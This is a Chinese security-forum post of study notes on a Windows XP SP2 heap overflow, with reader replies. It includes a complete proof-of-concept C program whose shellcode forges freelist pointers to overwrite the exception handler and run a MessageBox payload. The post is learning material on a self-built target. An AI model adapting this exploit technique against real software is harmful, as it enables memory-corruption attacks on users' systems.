首页
社区
课程
招聘
[原创]<0day安全 堆溢出>
2018-11-17 22:57 13409

[原创]<0day安全 堆溢出>

2018-11-17 22:57
13409

堆溢出学习笔记:

看了0day漏洞利用的堆溢出,想自己亲手试试一个最简单的堆溢出;

因为windows对堆的保护加强,已经不能用以前的方法溢出堆来执行我们的代码,但是还可以利用chunk重设大小来攻击堆。

先来看一下重设chunk的过程大致执行的操作吧:

(第一步)   新chunk->Flink=旧chunk->Flink

(第二步)   新chunk->Blink=旧chunk->Blink

(第三步)   旧chunk->Flink->Blink->Flink=新chunk

(第四步)   旧chunk->Flink->Blink=新chunk

这里需要注意的是旧chunk是从链表卸下来的,卸下来的时候的前向指针和后向指针还指向它的位置前后的链表;

假设我们通过堆溢出把旧chunk的Flink指针覆盖为0xAAAAAAAA,旧chunk的Blink覆盖为0XBBBBBBBB,新chunk的地址假设为0x003906A0;则前面的四部可以表示为

[0x003906A0]=0XAAAAAAAA;

[0x003906A0+4]=0XBBBBBBBB;

[[0xAAAAAAAA+4]]= 0x003906A0;

[0xAAAAAAAA+4]= 0x003906A0;

我们可以利用覆盖的地址进行特定地址写入,假如把异常处理函数写为我们的堆里面可控的代码,然后触发异常我们就能拿到EiP的控制权;

我的调试环境为 winxp sp2;

下面我们通过一个小例子来理解这一过程:

#include <stdio.h>

#include<windows.h>

char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x2a\x01\x06\x00\x00\x10\x00\x00"

"\xeb\x06\x9f\x00\xeb\x06\x9f\x00"//这里正好覆盖原来chunk的前向指针和后向指针

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x31\x90\x90\x90\x90\x90\x90"//这里是跳过后面的垃圾代码

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x2a\x01\x06\x00\x00\x10\x00"

"\x8c\x06\x9f\x00\xe4\xff\x22\x00"//伪造的前向指针和后向指针其中0x0022ffe4为异常处理指针

"\xb8\x48\x9b\x83\x7c"//mov EAX,0x7c839b48这两步是修复异常指针

"\xa3\xe4\xff\x22\x00"//mov [0x22ffe4],EAx

"\x33\xdb"                //xor ebx,ebx

"\x53"                   //push ebx

"\x68\x6f\x64\x65\x21"   //ode!

"\x68\x65\x6c\x6c\x63"   //ellc

"\x68\x6f\x20\x73\x68"   //o sh

"\x68\x68\x65\x6c\x6c"   //hell

"\x8b\xc4"            //mov eax,esp

"\x53"                   //push ebx

"\x50"                   //push eax

"\x50"                   //push eax

"\x53"                   //push ebx

"\xb8\xea\x07\xd5\x77"        //mov eax,messagebox

"\xff\xd0";             //call eax

int main()

{

    HLOCAL h1=0,h2=0;

HANDLE hp;

int zero=0;

    hp=HeapCreate(0,0x1000,0x10000);

    h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

    memcpy(h1,shellcode,300);

    h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

    zero=1/zero;        //触发除0异常

    printf("zero=%d\n",zero);

    return 0;

}

注意此处的代码和调试的环境不同而需要改一些地址;

这里需要注意的是我们使用的是0x9f06eb是因为我们异常指针被覆盖时,代码会被覆盖为新chunk的地址,而新chunk的前向指针会被覆盖为旧chunk的前向指针,旧chunk被我们覆盖为0x009f06eb,即新chunk的前向指针为ox009f06eb;其中EB06为短跳转指令就会跳过这里从而执行我们的代码,控制EIP;


(1)我们在heapcreate下断点,单步过 后看到EAX的值9F0000即为分配堆块的起始地址,偏移680处是第一个堆块



(2)异常处理程序的地址为0x22ffe4,这就是我们前面为什么覆盖伪造指针为这个地址的原因,当程序进行旧chunk->Flink->Blink->Flink=新chunk的时候就会覆盖为新chunk的地址,旧的chunk的前向指针为前面所示的0x9f06eb







(3)我们看到0x9f06eb红框内处的前向指针为9f068c,后向指针为0x22ffe4,执行旧chunk->Flink->Blank->Flink=新chunk时即[[9f06eb+4]]=0x9f06b8,    0x22ffe4处就会被覆盖为新chunk地址0x9f06b8;





(4)继续执行就会触发我们写的除零异常,继续执行就看到我们插入的代码了,成功弹出对话框


参考书籍<0day安全:软件漏洞分析技术>



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞3
打赏
分享
最新回复 (7)
雪    币: 177
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
零零七Robot 2018-11-19 11:43
2
0
请问你用的是哪一个win版本?
雪    币: 299
活跃值: (199)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
一只猪儿虫 2018-11-19 12:27
3
0
我用的win xp sp2 有些地址需要你自己替换一下
雪    币: 177
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
零零七Robot 2018-12-4 15:55
4
0
才看到谢谢
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tiaotiao 2018-12-13 09:42
5
0
不错,学习一下
雪    币: 299
活跃值: (199)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
一只猪儿虫 2018-12-14 01:52
6
0
谢谢
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Sparrowoo 2020-10-31 16:52
7
0
你好,我想请问一下最后一步的[[9f06eb+4]]=0x9f06b8中的0x9f06b8是怎么来的
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
菜鸡雪 2022-10-14 18:40
8
0
这个公式好像和书中的不一样?哪个正确啊
游客
登录 | 注册 方可回帖
返回